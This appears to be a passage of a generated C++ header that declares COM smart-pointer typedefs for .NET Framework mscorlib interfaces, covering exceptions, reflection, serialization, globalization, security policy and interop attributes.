_COM_SMARTPTR_TYPEDEF(_ResolveEventArgs, __uuidof(_ResolveEventArgs)); _COM_SMARTPTR_TYPEDEF(_AssemblyLoadEventArgs, __uuidof(_AssemblyLoadEventArgs)); _COM_SMARTPTR_TYPEDEF(_ResolveEventHandler, __uuidof(_ResolveEventHandler)); _COM_SMARTPTR_TYPEDEF(_AssemblyLoadEventHandler, __uuidof(_AssemblyLoadEventHandler)); _COM_SMARTPTR_TYPEDEF(_AppDomainInitializer, __uuidof(_AppDomainInitializer)); _COM_SMARTPTR_TYPEDEF(_MarshalByRefObject, __uuidof(_MarshalByRefObject)); _COM_SMARTPTR_TYPEDEF(IContributeEnvoySink, __uuidof(IContributeEnvoySink)); _COM_SMARTPTR_TYPEDEF(IContributeObjectSink, __uuidof(IContributeObjectSink)); _COM_SMARTPTR_TYPEDEF(_CrossAppDomainDelegate, __uuidof(_CrossAppDomainDelegate)); _COM_SMARTPTR_TYPEDEF(_AppDomainManager, __uuidof(_AppDomainManager)); _COM_SMARTPTR_TYPEDEF(_LoaderOptimizationAttribute, __uuidof(_LoaderOptimizationAttribute)); _COM_SMARTPTR_TYPEDEF(_AppDomainUnloadedException, __uuidof(_AppDomainUnloadedException)); _COM_SMARTPTR_TYPEDEF(_EvidenceBase, __uuidof(_EvidenceBase)); _COM_SMARTPTR_TYPEDEF(_ActivationArguments, __uuidof(_ActivationArguments)); _COM_SMARTPTR_TYPEDEF(_ApplicationId, __uuidof(_ApplicationId)); _COM_SMARTPTR_TYPEDEF(_ArgumentException, __uuidof(_ArgumentException)); _COM_SMARTPTR_TYPEDEF(_ArgumentNullException, __uuidof(_ArgumentNullException)); _COM_SMARTPTR_TYPEDEF(_ArgumentOutOfRangeException, __uuidof(_ArgumentOutOfRangeException)); _COM_SMARTPTR_TYPEDEF(_ArithmeticException, __uuidof(_ArithmeticException)); _COM_SMARTPTR_TYPEDEF(_ArrayTypeMismatchException, __uuidof(_ArrayTypeMismatchException)); _COM_SMARTPTR_TYPEDEF(_AsyncCallback, __uuidof(_AsyncCallback)); _COM_SMARTPTR_TYPEDEF(_AttributeUsageAttribute, __uuidof(_AttributeUsageAttribute)); _COM_SMARTPTR_TYPEDEF(_BadImageFormatException, __uuidof(_BadImageFormatException)); _COM_SMARTPTR_TYPEDEF(_Buffer, __uuidof(_Buffer)); _COM_SMARTPTR_TYPEDEF(_CannotUnloadAppDomainException, __uuidof(_CannotUnloadAppDomainException)); _COM_SMARTPTR_TYPEDEF(_CharEnumerator, __uuidof(_CharEnumerator)); _COM_SMARTPTR_TYPEDEF(_CLSCompliantAttribute, __uuidof(_CLSCompliantAttribute)); _COM_SMARTPTR_TYPEDEF(_TypeUnloadedException, __uuidof(_TypeUnloadedException)); _COM_SMARTPTR_TYPEDEF(_CriticalFinalizerObject, __uuidof(_CriticalFinalizerObject)); _COM_SMARTPTR_TYPEDEF(_ContextMarshalException, __uuidof(_ContextMarshalException)); _COM_SMARTPTR_TYPEDEF(_ContextBoundObject, __uuidof(_ContextBoundObject)); _COM_SMARTPTR_TYPEDEF(_ContextStaticAttribute, __uuidof(_ContextStaticAttribute)); _COM_SMARTPTR_TYPEDEF(_TimeZone, __uuidof(_TimeZone)); _COM_SMARTPTR_TYPEDEF(_DBNull, __uuidof(_DBNull)); _COM_SMARTPTR_TYPEDEF(_DivideByZeroException, __uuidof(_DivideByZeroException)); _COM_SMARTPTR_TYPEDEF(_DuplicateWaitObjectException, __uuidof(_DuplicateWaitObjectException)); _COM_SMARTPTR_TYPEDEF(_TypeLoadException, __uuidof(_TypeLoadException)); _COM_SMARTPTR_TYPEDEF(_EntryPointNotFoundException, __uuidof(_EntryPointNotFoundException)); _COM_SMARTPTR_TYPEDEF(_DllNotFoundException, __uuidof(_DllNotFoundException)); _COM_SMARTPTR_TYPEDEF(_Environment, __uuidof(_Environment)); _COM_SMARTPTR_TYPEDEF(_EventHandler, __uuidof(_EventHandler)); _COM_SMARTPTR_TYPEDEF(_FieldAccessException, __uuidof(_FieldAccessException)); _COM_SMARTPTR_TYPEDEF(_FlagsAttribute, __uuidof(_FlagsAttribute)); _COM_SMARTPTR_TYPEDEF(_FormatException, __uuidof(_FormatException)); _COM_SMARTPTR_TYPEDEF(_IndexOutOfRangeException, __uuidof(_IndexOutOfRangeException)); _COM_SMARTPTR_TYPEDEF(_InvalidCastException, __uuidof(_InvalidCastException)); _COM_SMARTPTR_TYPEDEF(_InvalidOperationException, __uuidof(_InvalidOperationException)); _COM_SMARTPTR_TYPEDEF(_InvalidProgramException, __uuidof(_InvalidProgramException)); _COM_SMARTPTR_TYPEDEF(_LocalDataStoreSlot, __uuidof(_LocalDataStoreSlot)); _COM_SMARTPTR_TYPEDEF(_MethodAccessException, __uuidof(_MethodAccessException)); _COM_SMARTPTR_TYPEDEF(_MissingMemberException, __uuidof(_MissingMemberException)); _COM_SMARTPTR_TYPEDEF(_MissingFieldException, __uuidof(_MissingFieldException)); _COM_SMARTPTR_TYPEDEF(_MissingMethodException, __uuidof(_MissingMethodException)); _COM_SMARTPTR_TYPEDEF(_MulticastNotSupportedException, __uuidof(_MulticastNotSupportedException)); _COM_SMARTPTR_TYPEDEF(_NonSerializedAttribute, __uuidof(_NonSerializedAttribute)); _COM_SMARTPTR_TYPEDEF(_NotFiniteNumberException, __uuidof(_NotFiniteNumberException)); _COM_SMARTPTR_TYPEDEF(_NotImplementedException, __uuidof(_NotImplementedException)); _COM_SMARTPTR_TYPEDEF(_NotSupportedException, __uuidof(_NotSupportedException)); _COM_SMARTPTR_TYPEDEF(_NullReferenceException, __uuidof(_NullReferenceException)); _COM_SMARTPTR_TYPEDEF(_ObjectDisposedException, __uuidof(_ObjectDisposedException)); _COM_SMARTPTR_TYPEDEF(_ObsoleteAttribute, __uuidof(_ObsoleteAttribute)); _COM_SMARTPTR_TYPEDEF(_OperatingSystem, __uuidof(_OperatingSystem)); _COM_SMARTPTR_TYPEDEF(_OperationCanceledException, __uuidof(_OperationCanceledException)); _COM_SMARTPTR_TYPEDEF(_OverflowException, __uuidof(_OverflowException)); _COM_SMARTPTR_TYPEDEF(_ParamArrayAttribute, __uuidof(_ParamArrayAttribute)); _COM_SMARTPTR_TYPEDEF(_PlatformNotSupportedException, __uuidof(_PlatformNotSupportedException)); _COM_SMARTPTR_TYPEDEF(_Random, __uuidof(_Random)); _COM_SMARTPTR_TYPEDEF(_RankException, __uuidof(_RankException)); _COM_SMARTPTR_TYPEDEF(_TypeInfo, __uuidof(_TypeInfo)); _COM_SMARTPTR_TYPEDEF(_SerializableAttribute, __uuidof(_SerializableAttribute)); _COM_SMARTPTR_TYPEDEF(_STAThreadAttribute, __uuidof(_STAThreadAttribute)); _COM_SMARTPTR_TYPEDEF(_MTAThreadAttribute, __uuidof(_MTAThreadAttribute)); _COM_SMARTPTR_TYPEDEF(_TimeoutException, __uuidof(_TimeoutException)); _COM_SMARTPTR_TYPEDEF(_TypeInitializationException, __uuidof(_TypeInitializationException)); _COM_SMARTPTR_TYPEDEF(_UnauthorizedAccessException, __uuidof(_UnauthorizedAccessException)); _COM_SMARTPTR_TYPEDEF(_UnhandledExceptionEventArgs, __uuidof(_UnhandledExceptionEventArgs)); _COM_SMARTPTR_TYPEDEF(_UnhandledExceptionEventHandler, __uuidof(_UnhandledExceptionEventHandler)); _COM_SMARTPTR_TYPEDEF(_Version, __uuidof(_Version)); _COM_SMARTPTR_TYPEDEF(_WeakReference, __uuidof(_WeakReference)); _COM_SMARTPTR_TYPEDEF(_WaitHandle, __uuidof(_WaitHandle)); _COM_SMARTPTR_TYPEDEF(IAsyncResult, __uuidof(IAsyncResult)); _COM_SMARTPTR_TYPEDEF(_EventWaitHandle, __uuidof(_EventWaitHandle)); _COM_SMARTPTR_TYPEDEF(_AutoResetEvent, __uuidof(_AutoResetEvent)); _COM_SMARTPTR_TYPEDEF(_ContextCallback, __uuidof(_ContextCallback)); _COM_SMARTPTR_TYPEDEF(_ManualResetEvent, __uuidof(_ManualResetEvent)); _COM_SMARTPTR_TYPEDEF(_Monitor, __uuidof(_Monitor)); _COM_SMARTPTR_TYPEDEF(_Mutex, __uuidof(_Mutex)); _COM_SMARTPTR_TYPEDEF(_Overlapped, __uuidof(_Overlapped)); _COM_SMARTPTR_TYPEDEF(_ReaderWriterLock, __uuidof(_ReaderWriterLock)); _COM_SMARTPTR_TYPEDEF(_SynchronizationLockException, __uuidof(_SynchronizationLockException)); _COM_SMARTPTR_TYPEDEF(_ThreadAbortException, __uuidof(_ThreadAbortException)); _COM_SMARTPTR_TYPEDEF(_ThreadInterruptedException, __uuidof(_ThreadInterruptedException)); _COM_SMARTPTR_TYPEDEF(_RegisteredWaitHandle, __uuidof(_RegisteredWaitHandle)); _COM_SMARTPTR_TYPEDEF(_WaitCallback, __uuidof(_WaitCallback)); _COM_SMARTPTR_TYPEDEF(_WaitOrTimerCallback, __uuidof(_WaitOrTimerCallback)); _COM_SMARTPTR_TYPEDEF(_IOCompletionCallback, __uuidof(_IOCompletionCallback)); _COM_SMARTPTR_TYPEDEF(_ThreadStart, __uuidof(_ThreadStart)); _COM_SMARTPTR_TYPEDEF(_ThreadStateException, __uuidof(_ThreadStateException)); _COM_SMARTPTR_TYPEDEF(_ThreadStaticAttribute, __uuidof(_ThreadStaticAttribute)); _COM_SMARTPTR_TYPEDEF(_Timeout, __uuidof(_Timeout)); _COM_SMARTPTR_TYPEDEF(_TimerCallback, __uuidof(_TimerCallback)); _COM_SMARTPTR_TYPEDEF(_Timer, __uuidof(_Timer)); _COM_SMARTPTR_TYPEDEF(_CaseInsensitiveComparer, __uuidof(_CaseInsensitiveComparer)); _COM_SMARTPTR_TYPEDEF(_CaseInsensitiveHashCodeProvider, __uuidof(_CaseInsensitiveHashCodeProvider)); _COM_SMARTPTR_TYPEDEF(_CollectionBase, __uuidof(_CollectionBase)); _COM_SMARTPTR_TYPEDEF(_DictionaryBase, __uuidof(_DictionaryBase)); _COM_SMARTPTR_TYPEDEF(_ReadOnlyCollectionBase, __uuidof(_ReadOnlyCollectionBase)); _COM_SMARTPTR_TYPEDEF(_Queue, __uuidof(_Queue)); _COM_SMARTPTR_TYPEDEF(_ArrayList, __uuidof(_ArrayList)); _COM_SMARTPTR_TYPEDEF(_BitArray, __uuidof(_BitArray)); _COM_SMARTPTR_TYPEDEF(_Stack, __uuidof(_Stack)); _COM_SMARTPTR_TYPEDEF(_Comparer, __uuidof(_Comparer)); _COM_SMARTPTR_TYPEDEF(_Hashtable, __uuidof(_Hashtable)); _COM_SMARTPTR_TYPEDEF(_SortedList, __uuidof(_SortedList)); _COM_SMARTPTR_TYPEDEF(_Nullable, __uuidof(_Nullable)); _COM_SMARTPTR_TYPEDEF(_KeyNotFoundException, __uuidof(_KeyNotFoundException)); _COM_SMARTPTR_TYPEDEF(_ConditionalAttribute, __uuidof(_ConditionalAttribute)); _COM_SMARTPTR_TYPEDEF(_Debugger, __uuidof(_Debugger)); _COM_SMARTPTR_TYPEDEF(_DebuggerStepThroughAttribute, __uuidof(_DebuggerStepThroughAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerStepperBoundaryAttribute, __uuidof(_DebuggerStepperBoundaryAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerHiddenAttribute, __uuidof(_DebuggerHiddenAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerNonUserCodeAttribute, __uuidof(_DebuggerNonUserCodeAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggableAttribute, __uuidof(_DebuggableAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerBrowsableAttribute, __uuidof(_DebuggerBrowsableAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerTypeProxyAttribute, __uuidof(_DebuggerTypeProxyAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerDisplayAttribute, __uuidof(_DebuggerDisplayAttribute)); _COM_SMARTPTR_TYPEDEF(_DebuggerVisualizerAttribute, __uuidof(_DebuggerVisualizerAttribute)); _COM_SMARTPTR_TYPEDEF(_StackTrace, __uuidof(_StackTrace)); _COM_SMARTPTR_TYPEDEF(_StackFrame, __uuidof(_StackFrame)); _COM_SMARTPTR_TYPEDEF(_SymDocumentType, __uuidof(_SymDocumentType)); _COM_SMARTPTR_TYPEDEF(_SymLanguageType, __uuidof(_SymLanguageType)); _COM_SMARTPTR_TYPEDEF(_SymLanguageVendor, __uuidof(_SymLanguageVendor)); _COM_SMARTPTR_TYPEDEF(_AmbiguousMatchException, __uuidof(_AmbiguousMatchException)); _COM_SMARTPTR_TYPEDEF(_ModuleResolveEventHandler, __uuidof(_ModuleResolveEventHandler)); _COM_SMARTPTR_TYPEDEF(_AssemblyCopyrightAttribute, __uuidof(_AssemblyCopyrightAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyTrademarkAttribute, __uuidof(_AssemblyTrademarkAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyProductAttribute, __uuidof(_AssemblyProductAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyCompanyAttribute, __uuidof(_AssemblyCompanyAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyDescriptionAttribute, __uuidof(_AssemblyDescriptionAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyTitleAttribute, __uuidof(_AssemblyTitleAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyConfigurationAttribute, __uuidof(_AssemblyConfigurationAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyDefaultAliasAttribute, __uuidof(_AssemblyDefaultAliasAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyInformationalVersionAttribute, __uuidof(_AssemblyInformationalVersionAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyFileVersionAttribute, __uuidof(_AssemblyFileVersionAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyCultureAttribute, __uuidof(_AssemblyCultureAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyVersionAttribute, __uuidof(_AssemblyVersionAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyKeyFileAttribute, __uuidof(_AssemblyKeyFileAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyDelaySignAttribute, __uuidof(_AssemblyDelaySignAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyAlgorithmIdAttribute, __uuidof(_AssemblyAlgorithmIdAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyFlagsAttribute, __uuidof(_AssemblyFlagsAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyKeyNameAttribute, __uuidof(_AssemblyKeyNameAttribute)); _COM_SMARTPTR_TYPEDEF(_AssemblyNameProxy, __uuidof(_AssemblyNameProxy)); _COM_SMARTPTR_TYPEDEF(_CustomAttributeFormatException, __uuidof(_CustomAttributeFormatException)); _COM_SMARTPTR_TYPEDEF(_CustomAttributeData, __uuidof(_CustomAttributeData)); _COM_SMARTPTR_TYPEDEF(_DefaultMemberAttribute, __uuidof(_DefaultMemberAttribute)); _COM_SMARTPTR_TYPEDEF(_InvalidFilterCriteriaException, __uuidof(_InvalidFilterCriteriaException)); _COM_SMARTPTR_TYPEDEF(_ManifestResourceInfo, __uuidof(_ManifestResourceInfo)); _COM_SMARTPTR_TYPEDEF(_MemberFilter, __uuidof(_MemberFilter)); _COM_SMARTPTR_TYPEDEF(_Missing, __uuidof(_Missing)); _COM_SMARTPTR_TYPEDEF(_ObfuscateAssemblyAttribute, __uuidof(_ObfuscateAssemblyAttribute)); _COM_SMARTPTR_TYPEDEF(_ObfuscationAttribute, __uuidof(_ObfuscationAttribute)); _COM_SMARTPTR_TYPEDEF(_ExceptionHandlingClause, __uuidof(_ExceptionHandlingClause)); _COM_SMARTPTR_TYPEDEF(_MethodBody, __uuidof(_MethodBody)); _COM_SMARTPTR_TYPEDEF(_LocalVariableInfo, __uuidof(_LocalVariableInfo)); _COM_SMARTPTR_TYPEDEF(_Pointer, __uuidof(_Pointer)); _COM_SMARTPTR_TYPEDEF(_ReflectionTypeLoadException, __uuidof(_ReflectionTypeLoadException)); _COM_SMARTPTR_TYPEDEF(_StrongNameKeyPair, __uuidof(_StrongNameKeyPair)); _COM_SMARTPTR_TYPEDEF(_TargetException, __uuidof(_TargetException)); _COM_SMARTPTR_TYPEDEF(_TargetInvocationException, __uuidof(_TargetInvocationException)); _COM_SMARTPTR_TYPEDEF(_TargetParameterCountException, __uuidof(_TargetParameterCountException)); _COM_SMARTPTR_TYPEDEF(_TypeDelegator, __uuidof(_TypeDelegator)); _COM_SMARTPTR_TYPEDEF(_TypeFilter, __uuidof(_TypeFilter)); _COM_SMARTPTR_TYPEDEF(_FormatterConverter, __uuidof(_FormatterConverter)); _COM_SMARTPTR_TYPEDEF(_FormatterServices, __uuidof(_FormatterServices)); _COM_SMARTPTR_TYPEDEF(_OptionalFieldAttribute, __uuidof(_OptionalFieldAttribute)); _COM_SMARTPTR_TYPEDEF(_OnSerializingAttribute, __uuidof(_OnSerializingAttribute)); _COM_SMARTPTR_TYPEDEF(_OnSerializedAttribute, __uuidof(_OnSerializedAttribute)); _COM_SMARTPTR_TYPEDEF(_OnDeserializingAttribute, __uuidof(_OnDeserializingAttribute)); _COM_SMARTPTR_TYPEDEF(_OnDeserializedAttribute, __uuidof(_OnDeserializedAttribute)); _COM_SMARTPTR_TYPEDEF(_SerializationBinder, __uuidof(_SerializationBinder)); _COM_SMARTPTR_TYPEDEF(_SerializationException, __uuidof(_SerializationException)); _COM_SMARTPTR_TYPEDEF(_SerializationInfo, __uuidof(_SerializationInfo)); _COM_SMARTPTR_TYPEDEF(ISerializable, __uuidof(ISerializable)); _COM_SMARTPTR_TYPEDEF(_SerializationInfoEnumerator, __uuidof(_SerializationInfoEnumerator)); _COM_SMARTPTR_TYPEDEF(_Formatter, __uuidof(_Formatter)); _COM_SMARTPTR_TYPEDEF(_ObjectIDGenerator, __uuidof(_ObjectIDGenerator)); _COM_SMARTPTR_TYPEDEF(_ObjectManager, __uuidof(_ObjectManager)); _COM_SMARTPTR_TYPEDEF(_SurrogateSelector, __uuidof(_SurrogateSelector)); _COM_SMARTPTR_TYPEDEF(_Calendar, __uuidof(_Calendar)); _COM_SMARTPTR_TYPEDEF(_CompareInfo, __uuidof(_CompareInfo)); _COM_SMARTPTR_TYPEDEF(_CultureInfo, __uuidof(_CultureInfo)); _COM_SMARTPTR_TYPEDEF(_CultureNotFoundException, __uuidof(_CultureNotFoundException)); _COM_SMARTPTR_TYPEDEF(_DateTimeFormatInfo, __uuidof(_DateTimeFormatInfo)); _COM_SMARTPTR_TYPEDEF(_DaylightTime, __uuidof(_DaylightTime)); _COM_SMARTPTR_TYPEDEF(_GregorianCalendar, __uuidof(_GregorianCalendar)); _COM_SMARTPTR_TYPEDEF(_HebrewCalendar, __uuidof(_HebrewCalendar)); _COM_SMARTPTR_TYPEDEF(_HijriCalendar, __uuidof(_HijriCalendar)); _COM_SMARTPTR_TYPEDEF(_EastAsianLunisolarCalendar, __uuidof(_EastAsianLunisolarCalendar)); _COM_SMARTPTR_TYPEDEF(_JulianCalendar, __uuidof(_JulianCalendar)); _COM_SMARTPTR_TYPEDEF(_JapaneseCalendar, __uuidof(_JapaneseCalendar)); _COM_SMARTPTR_TYPEDEF(_KoreanCalendar, __uuidof(_KoreanCalendar)); _COM_SMARTPTR_TYPEDEF(_RegionInfo, __uuidof(_RegionInfo)); _COM_SMARTPTR_TYPEDEF(_SortKey, __uuidof(_SortKey)); _COM_SMARTPTR_TYPEDEF(_StringInfo, __uuidof(_StringInfo)); _COM_SMARTPTR_TYPEDEF(_TaiwanCalendar, __uuidof(_TaiwanCalendar)); _COM_SMARTPTR_TYPEDEF(_TextElementEnumerator, __uuidof(_TextElementEnumerator)); _COM_SMARTPTR_TYPEDEF(_TextInfo, __uuidof(_TextInfo)); _COM_SMARTPTR_TYPEDEF(_ThaiBuddhistCalendar, __uuidof(_ThaiBuddhistCalendar)); _COM_SMARTPTR_TYPEDEF(_NumberFormatInfo, __uuidof(_NumberFormatInfo)); _COM_SMARTPTR_TYPEDEF(_Encoding, __uuidof(_Encoding)); _COM_SMARTPTR_TYPEDEF(_Encoder, __uuidof(_Encoder)); _COM_SMARTPTR_TYPEDEF(_Decoder, __uuidof(_Decoder)); _COM_SMARTPTR_TYPEDEF(_ASCIIEncoding, __uuidof(_ASCIIEncoding)); _COM_SMARTPTR_TYPEDEF(_UnicodeEncoding, __uuidof(_UnicodeEncoding)); _COM_SMARTPTR_TYPEDEF(_UTF7Encoding, __uuidof(_UTF7Encoding)); _COM_SMARTPTR_TYPEDEF(_UTF8Encoding, __uuidof(_UTF8Encoding)); _COM_SMARTPTR_TYPEDEF(_MissingManifestResourceException, __uuidof(_MissingManifestResourceException)); _COM_SMARTPTR_TYPEDEF(_MissingSatelliteAssemblyException, __uuidof(_MissingSatelliteAssemblyException)); _COM_SMARTPTR_TYPEDEF(_NeutralResourcesLanguageAttribute, __uuidof(_NeutralResourcesLanguageAttribute)); _COM_SMARTPTR_TYPEDEF(_ResourceManager, __uuidof(_ResourceManager)); _COM_SMARTPTR_TYPEDEF(_ResourceReader, __uuidof(_ResourceReader)); _COM_SMARTPTR_TYPEDEF(_ResourceSet, __uuidof(_ResourceSet)); _COM_SMARTPTR_TYPEDEF(_ResourceWriter, __uuidof(_ResourceWriter)); _COM_SMARTPTR_TYPEDEF(_SatelliteContractVersionAttribute, __uuidof(_SatelliteContractVersionAttribute)); _COM_SMARTPTR_TYPEDEF(_Registry, __uuidof(_Registry)); _COM_SMARTPTR_TYPEDEF(_RegistryKey, __uuidof(_RegistryKey)); _COM_SMARTPTR_TYPEDEF(_AllMembershipCondition, __uuidof(_AllMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_ApplicationDirectory, __uuidof(_ApplicationDirectory)); _COM_SMARTPTR_TYPEDEF(_ApplicationDirectoryMembershipCondition, __uuidof(_ApplicationDirectoryMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_ApplicationSecurityInfo, __uuidof(_ApplicationSecurityInfo)); _COM_SMARTPTR_TYPEDEF(_ApplicationSecurityManager, __uuidof(_ApplicationSecurityManager)); _COM_SMARTPTR_TYPEDEF(_ApplicationTrust, __uuidof(_ApplicationTrust)); _COM_SMARTPTR_TYPEDEF(_ApplicationTrustCollection, __uuidof(_ApplicationTrustCollection)); _COM_SMARTPTR_TYPEDEF(_ApplicationTrustEnumerator, __uuidof(_ApplicationTrustEnumerator)); _COM_SMARTPTR_TYPEDEF(_CodeGroup, __uuidof(_CodeGroup)); _COM_SMARTPTR_TYPEDEF(_Evidence, __uuidof(_Evidence)); _COM_SMARTPTR_TYPEDEF(IEvidenceFactory, __uuidof(IEvidenceFactory)); _COM_SMARTPTR_TYPEDEF(IMembershipCondition, __uuidof(IMembershipCondition)); _COM_SMARTPTR_TYPEDEF(IIdentityPermissionFactory, __uuidof(IIdentityPermissionFactory)); _COM_SMARTPTR_TYPEDEF(_FileCodeGroup, __uuidof(_FileCodeGroup)); _COM_SMARTPTR_TYPEDEF(_FirstMatchCodeGroup, __uuidof(_FirstMatchCodeGroup)); _COM_SMARTPTR_TYPEDEF(_TrustManagerContext, __uuidof(_TrustManagerContext)); _COM_SMARTPTR_TYPEDEF(IApplicationTrustManager, __uuidof(IApplicationTrustManager)); _COM_SMARTPTR_TYPEDEF(_CodeConnectAccess, __uuidof(_CodeConnectAccess)); _COM_SMARTPTR_TYPEDEF(_NetCodeGroup, __uuidof(_NetCodeGroup)); _COM_SMARTPTR_TYPEDEF(_PermissionRequestEvidence, __uuidof(_PermissionRequestEvidence)); _COM_SMARTPTR_TYPEDEF(_PolicyException, __uuidof(_PolicyException)); _COM_SMARTPTR_TYPEDEF(_PolicyLevel, __uuidof(_PolicyLevel)); _COM_SMARTPTR_TYPEDEF(_PolicyStatement, __uuidof(_PolicyStatement)); _COM_SMARTPTR_TYPEDEF(_Site, __uuidof(_Site)); _COM_SMARTPTR_TYPEDEF(_SiteMembershipCondition, __uuidof(_SiteMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_StrongName, __uuidof(_StrongName)); _COM_SMARTPTR_TYPEDEF(_StrongNameMembershipCondition, __uuidof(_StrongNameMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_UnionCodeGroup, __uuidof(_UnionCodeGroup)); _COM_SMARTPTR_TYPEDEF(_Url, __uuidof(_Url)); _COM_SMARTPTR_TYPEDEF(_UrlMembershipCondition, __uuidof(_UrlMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_Zone, __uuidof(_Zone)); _COM_SMARTPTR_TYPEDEF(_ZoneMembershipCondition, __uuidof(_ZoneMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_GacInstalled, __uuidof(_GacInstalled)); _COM_SMARTPTR_TYPEDEF(_GacMembershipCondition, __uuidof(_GacMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_Hash, __uuidof(_Hash)); _COM_SMARTPTR_TYPEDEF(_HashMembershipCondition, __uuidof(_HashMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_Publisher, __uuidof(_Publisher)); _COM_SMARTPTR_TYPEDEF(_PublisherMembershipCondition, __uuidof(_PublisherMembershipCondition)); _COM_SMARTPTR_TYPEDEF(_ClaimsIdentity, __uuidof(_ClaimsIdentity)); _COM_SMARTPTR_TYPEDEF(_GenericIdentity, __uuidof(_GenericIdentity)); _COM_SMARTPTR_TYPEDEF(_ClaimsPrincipal, __uuidof(_ClaimsPrincipal)); _COM_SMARTPTR_TYPEDEF(_GenericPrincipal, __uuidof(_GenericPrincipal)); _COM_SMARTPTR_TYPEDEF(_WindowsIdentity, __uuidof(_WindowsIdentity)); _COM_SMARTPTR_TYPEDEF(_WindowsImpersonationContext, __uuidof(_WindowsImpersonationContext)); _COM_SMARTPTR_TYPEDEF(_WindowsPrincipal, __uuidof(_WindowsPrincipal)); _COM_SMARTPTR_TYPEDEF(_UnmanagedFunctionPointerAttribute, __uuidof(_UnmanagedFunctionPointerAttribute)); _COM_SMARTPTR_TYPEDEF(_DispIdAttribute, __uuidof(_DispIdAttribute)); _COM_SMARTPTR_TYPEDEF(_InterfaceTypeAttribute, __uuidof(_InterfaceTypeAttribute)); _COM_SMARTPTR_TYPEDEF(_ComDefaultInterfaceAttribute, __uuidof(_ComDefaultInterfaceAttribute)); _COM_SMARTPTR_TYPEDEF(_ClassInterfaceAttribute, __uuidof(_ClassInterfaceAttribute)); _COM_SMARTPTR_TYPEDEF(_ComVisibleAttribute, __uuidof(_ComVisibleAttribute)); _COM_SMARTPTR_TYPEDEF(_TypeLibImportClassAttribute, __uuidof(_TypeLibImportClassAttribute)); _COM_SMARTPTR_TYPEDEF(_LCIDConversionAttribute, __uuidof(_LCIDConversionAttribute)); _COM_SMARTPTR_TYPEDEF(_ComRegisterFunctionAttribute, __uuidof(_ComRegisterFunctionAttribute)); _COM_SMARTPTR_TYPEDEF(_ComUnregisterFunctionAttribute, __uuidof(_ComUnregisterFunctionAttribute)); _COM_SMARTPTR_TYPEDEF(_ProgIdAttribute, __uuidof(_ProgIdAttribute)); _COM_SMARTPTR_TYPEDEF(_ImportedFromTypeLibAttribute, __uuidof(_ImportedFromTypeLibAttribute)); _COM_SMARTPTR_TYPEDEF(_IDispatchImplAttribute, __uuidof(_IDispatchImplAttribute)); _COM_SMARTPTR_TYPEDEF(_ComSourceInterfacesAttribute, __uuidof(_ComSourceInterfacesAttribute)); _COM_SMARTPTR_TYPEDEF(_ComConversionLossAttribute, __uuidof(_ComConversionLossAttribute)); _COM_SMARTPTR_TYPEDEF(_TypeLibTypeAttribute, __uuidof(_TypeLibTypeAttribute)); _COM_SMARTPTR_TYPEDEF(_TypeLibFuncAttribute, __uuidof(_TypeLibFuncAttribute)); _COM_SMARTPTR_TYPEDEF(_TypeLibVarAttribute, __uuidof(_TypeLibVarAttribute)); _COM_SMARTPTR_TYPEDEF(_MarshalAsAttribute, __uuidof(_MarshalAsAttribute)); _COM_SMARTPTR_TYPEDEF(_ComImportAttribute, __uuidof(_ComImportAttribute)); _COM_SMARTPTR_TYPEDEF(_GuidAttribute, __uuidof(_GuidAttribute)); _COM_SMARTPTR_TYPEDEF(_PreserveSigAttribute, __uuidof(_PreserveSigAttribute)); _COM_SMARTPTR_TYPEDEF(_InAttribute, __uuidof(_InAttribute)); _COM_SMARTPTR_TYPEDEF(_OutAttribute, __uuidof(_OutAttribute)); _COM_SMARTPTR_TYPEDEF(_OptionalAttribute, __uuidof(_OptionalAttribute)); _COM_SMARTPTR_TYPEDEF(_DllImportAttribute, __uuidof(_DllImportAttribute)); _COM_SMARTPTR_TYPEDEF(_StructLayoutAttribute, __uuidof(_StructLayoutAttribute)); _COM_SMARTPTR_TYPEDEF(_FieldOffsetAttribute, __uuidof(_FieldOffsetAttribute)); _COM_SMARTPTR_TYPEDEF(_ComAliasNameAttribute, __uuidof(_ComAliasNameAttribute)); _COM_SMARTPTR_TYPEDEF(_AutomationProxyAttribute, __uuidof(_AutomationProxyAttribute)); _COM_SMARTPTR_TYPEDEF(_PrimaryInteropAssemblyAttribute, __uuidof(_PrimaryInteropAssemblyAttribute)); _COM_SMARTPTR_TYPEDEF(_CoClassAttribute, __uuidof(_CoClassAttribute)); _COM_SMARTPTR_TYPEDEF(_ComEventInterfaceAttribute, __uuidof(_ComEventInterfaceAttribute)); _COM_SMARTPTR_TYPEDEF(_TypeLibVersionAttribute, __uuidof(_TypeLibVersionAttribute)); _COM_SMARTPTR_TYPEDEF(_ComCompatibleVersionAttribute, __uuidof(_ComCompatibleVersionAttribute)); _COM_SMARTPTR_TYPEDEF(_BestFitMappingAttribute, __uuidof(_BestFitMappingAttribute)); 